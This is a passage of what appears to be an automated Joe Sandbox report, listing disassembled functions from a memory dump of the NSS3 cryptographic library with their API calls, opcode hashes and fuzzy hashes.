Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CC5DE80

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0c8761503ee70d0bd7fc870b693c9dd935b480c4b3daa5f28e9a7dcf96922089
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: EE31C4B1A01B429BE700CF5AC9C0652F7A4BFA5318B64822AD81887B41F7B0E4B4CB90

Function 6CC4FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC25ADC,?,00000000,00000001,?,?,00000000,?,6CC1BA55,?,?), ref: 6CC4FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC4FE5F
PR_Unlock.NSS3(78831D74), ref: 6CC4FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CC4FED6

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 3c6c2df6b6641b62dad323f1fbe7a0fd700f8bc9edb09226c258fbb578fcf182
Instruction ID: 1ba54d999f7228cd0d768fb9362efa76942f19dea4d8fad51c489eb2bcebe6eb
Opcode Fuzzy Hash: 3c6c2df6b6641b62dad323f1fbe7a0fd700f8bc9edb09226c258fbb578fcf182
Instruction Fuzzy Hash: 0A210131E00626AFE701AE65D844BAA77B8BF0535AF448124DE04A7E42F731E964CBD1

Function 6CC53F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CC53440: PK11_GetAllTokens.NSS3 ref: 6CC53481
Part of subcall function 6CC53440: PR_SetError.NSS3(00000000,00000000), ref: 6CC534A3
Part of subcall function 6CC53440: TlsGetValue.KERNEL32 ref: 6CC5352E
Part of subcall function 6CC53440: EnterCriticalSection.KERNEL32(?), ref: 6CC53542
Part of subcall function 6CC53440: PR_Unlock.NSS3(?), ref: 6CC5355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CC3E80C,00000000,00000000,?,?,?,?,6CC48C5B,-00000001), ref: 6CC53FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CC3E80C,00000000,00000000,?,?,?,?,6CC48C5B,-00000001), ref: 6CC53FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CC3E80C,00000000,00000000,?,?,?,?,6CC48C5B,-00000001), ref: 6CC53FFE
PR_SetError.NSS3 ref: 6CC5401A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 05655f16ac34acac256c9ef8074afa085b63dab1cba217e4b3d513e0e20fb8db
Instruction ID: a58b5e0b54a0e84bef992e2edec439b11e77dd4bea76b37891fb19271dc97c25
Opcode Fuzzy Hash: 05655f16ac34acac256c9ef8074afa085b63dab1cba217e4b3d513e0e20fb8db
Instruction Fuzzy Hash: CB3160709087048FDB00EF69D48466ABBF4FF88354F55492DD98987B10EB30E8A5CB91

Function 6CC44FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CC4B60F,00000000), ref: 6CC45003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CC4B60F,00000000), ref: 6CC4501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CC4B60F,00000000), ref: 6CC4504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CC4B60F,00000000), ref: 6CC45064

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 07c789fcf3a2ba2d84addcb73748b8036dd77a6fb3d436ea68cb79e198ee69af
Instruction ID: de935ebf118e0aac6c228eb785d3e3ef0c5ae3e603ebcba8e9f146add60a921f
Opcode Fuzzy Hash: 07c789fcf3a2ba2d84addcb73748b8036dd77a6fb3d436ea68cb79e198ee69af
Instruction Fuzzy Hash: 2A3137B4A05606CFDB00EF68C48466ABBF4FF49304F118969E95ADB701E730E895CBD1

Function 6CC01EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CC04C64,?,-00000004), ref: 6CC01EE2

Part of subcall function 6CC61820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CC01D97,?,?), ref: 6CC61836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CC04C64,?,-00000004), ref: 6CC01F13
DER_DecodeTimeChoice_Util.NSS3(?,6CC04CA0,?,?,?,?,?,?,00000000,00000000,?,6CC04C64,?,-00000004), ref: 6CC01F37
DER_DecodeTimeChoice_Util.NSS3(?,6CC04C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC04C64,?,-00000004), ref: 6CC01F53

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: db7c013bd91762208fdd9033a28eb25e3fa3ec9db14b4a434ffcb49f0527305d
Instruction ID: b303c0af223b41702c5987b7f03c4d571b58432bb06b0cd10dfa54a51a830886
Opcode Fuzzy Hash: db7c013bd91762208fdd9033a28eb25e3fa3ec9db14b4a434ffcb49f0527305d
Instruction Fuzzy Hash: 01216271608316AFC700DE2EDD40A9BB7E9AB8869DF40092DE954C3B41F731E559CBD2

Function 6CC69F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CC6A71A,FFFFFFFF,?,?), ref: 6CC69FAB

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CC6A71A,6CC6A71A,00000000), ref: 6CC69FD9

Part of subcall function 6CC61340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6136A
Part of subcall function 6CC61340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6137E
Part of subcall function 6CC61340: PL_ArenaGrow.NSS3(?,6CBFF599,?,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?), ref: 6CC613CF
Part of subcall function 6CC61340: PR_Unlock.NSS3(?,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CC6A71A,6CC6A71A,00000000), ref: 6CC6A009
PR_SetError.NSS3(FFFFE013,00000000,6CC6A71A,6CC6A71A,00000000), ref: 6CC6A045

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 31f7f9988442f8118c3bbf0690beae7a31313b0070a46f4e6d415c796bac8d59
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: D42180B4600216AFE7009F16DD90F66B7A9FF8535CF108128D86A87F81FB76E815CB90

Function 6CC80C00 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(?,?,00000004), ref: 6CC80C43

Part of subcall function 6CC2DEF0: TlsGetValue.KERNEL32 ref: 6CC2DF37
Part of subcall function 6CC2DEF0: EnterCriticalSection.KERNEL32(?), ref: 6CC2DF4B
Part of subcall function 6CC2DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6CC2E02B
Part of subcall function 6CC2DEF0: PR_Unlock.NSS3(?), ref: 6CC2E07E

PK11_DigestOp.NSS3(?,?,00000008), ref: 6CC80C85
PK11_DigestOp.NSS3(?,?,?), ref: 6CC80C9F
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6CC80CB4

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DigestK11_$Error$CriticalEnterSectionUnlockValue
String ID:
API String ID: 3186484790-0
Opcode ID: 17400da9dcf51e1b606752eb5139fb6f72890a892bf08554e049d0b1ef311e74
Instruction ID: e21829e333aee4828164bd45e479f517e86943a2467d8dd21ee1cc7f0f5ed15f
Opcode Fuzzy Hash: 17400da9dcf51e1b606752eb5139fb6f72890a892bf08554e049d0b1ef311e74
Instruction Fuzzy Hash: 49212871A052869FCB01CF689C05B9BBFA4AF25208F0981A5E8485F752F731D828C7E3

Function 6CC72DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC72E08

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CC72E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CC72E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC72E95

Part of subcall function 6CC61200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC088A4,00000000,00000000), ref: 6CC61228
Part of subcall function 6CC61200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC61238
Part of subcall function 6CC61200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CC088A4,00000000,00000000), ref: 6CC6124B
Part of subcall function 6CC61200: PR_CallOnce.NSS3(6CD62AA4,6CC612D0,00000000,00000000,00000000,?,6CC088A4,00000000,00000000), ref: 6CC6125D
Part of subcall function 6CC61200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC6126F
Part of subcall function 6CC61200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC61280
Part of subcall function 6CC61200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC6128E
Part of subcall function 6CC61200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC6129A
Part of subcall function 6CC61200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC612A1

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 996afa670eb85eafb52cd614ddd5e332083c1655a820a0c50f33224a8a404497
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D92126B1D003418BEB10CF159D94BAA3764EF9130EF111269DD089BB42F7B1E68883A2

Function 6CC2ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC2ACC2

Part of subcall function 6CC02F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CC02F0A
Part of subcall function 6CC02F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC02F1D

Part of subcall function 6CC02AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CC00A1B,00000000), ref: 6CC02AF0
Part of subcall function 6CC02AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC02B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CC2AD5E

Part of subcall function 6CC457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CC0B41E,00000000,00000000,?,00000000,?,6CC0B41E,00000000,00000000,00000001,?), ref: 6CC457E0
Part of subcall function 6CC457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC45843

CERT_DestroyCertList.NSS3(?), ref: 6CC2AD36

Part of subcall function 6CC02F50: CERT_DestroyCertificate.NSS3(?), ref: 6CC02F65
Part of subcall function 6CC02F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC02F83

free.MOZGLUE(?), ref: 6CC2AD4F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: ef391707805044276782845b0d769b18a5bc044633717595556c5405a59082da
Instruction ID: d7455694957ffb89c90e69ca1a8c789f61936f1a7dcd2bfb46aa9de43c5d2c11
Opcode Fuzzy Hash: ef391707805044276782845b0d769b18a5bc044633717595556c5405a59082da
Instruction Fuzzy Hash: B92106B1E002148BEF10DF64D8055EEB7B8EF49348F454068D808BBB10FB35AA49CBE2

Function 6CC53C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC53C9E
EnterCriticalSection.KERNEL32(?), ref: 6CC53CAE
PR_Unlock.NSS3(?), ref: 6CC53CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CC53D02

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: f8fde18d8e44a514ddf27db7615f87e2bb23e6e651556e123a5b87a845a7daa9
Instruction ID: 7d1eb8f04cc9ac0407d9a9238279869a5e6f0829764efc7f8291c8630437d642
Opcode Fuzzy Hash: f8fde18d8e44a514ddf27db7615f87e2bb23e6e651556e123a5b87a845a7daa9
Instruction Fuzzy Hash: 0811B479E002149FE7009F24DC48A9A3778EF09368F5941A0ED0887711E731ED65C7E0

Function 6CC5ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CC5F0AD,6CC5F150,?,6CC5F150,?,?,?), ref: 6CC5ECBA

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CC5ECD1

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CC5ED02

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CC5ED5A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 3d04e5d7f0f9ab061dc1ae327e4b59ddb0e57624536e510a05e7c0afdc1f609c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 4621A1B1A007429BE700CF26D944B52B7E4BFA4349F25C25AE81C87A62FB70E5A4C7D5

Function 6CC8ED10 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC8ED34
realloc.MOZGLUE(?,?), ref: 6CC8ED5D
PORT_Alloc_Util.NSS3(?), ref: 6CC8ED74

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

memset.VCRUNTIME140(?,?,?), ref: 6CC8ED97

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemsetrealloc
String ID:
API String ID: 2992043971-0
Opcode ID: 35203b924c58a041f686fa118d4319d96cbb3948adee5ec95a618bd4a1ac52f9
Instruction ID: c8f411bee1acc426c91b12aea888203d1d94574e105bbc316ce24a5dcc64dc68
Opcode Fuzzy Hash: 35203b924c58a041f686fa118d4319d96cbb3948adee5ec95a618bd4a1ac52f9
Instruction Fuzzy Hash: DE11E3B86067166BE7109F26DC84B57BBA8FF4035DF20457AED1982A40F330E468C6E1

Function 6CC8EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CC77FFA,?,6CC79767,?,8B7874C0,0000A48E), ref: 6CC8EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CC77FFA,?,6CC79767,?,8B7874C0,0000A48E), ref: 6CC8EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CC77FFA,?,6CC79767,?,8B7874C0,0000A48E), ref: 6CC8EE14

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

memcpy.VCRUNTIME140(?,?,6CC79767,00000000,00000000,6CC77FFA,?,6CC79767,?,8B7874C0,0000A48E), ref: 6CC8EE33

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
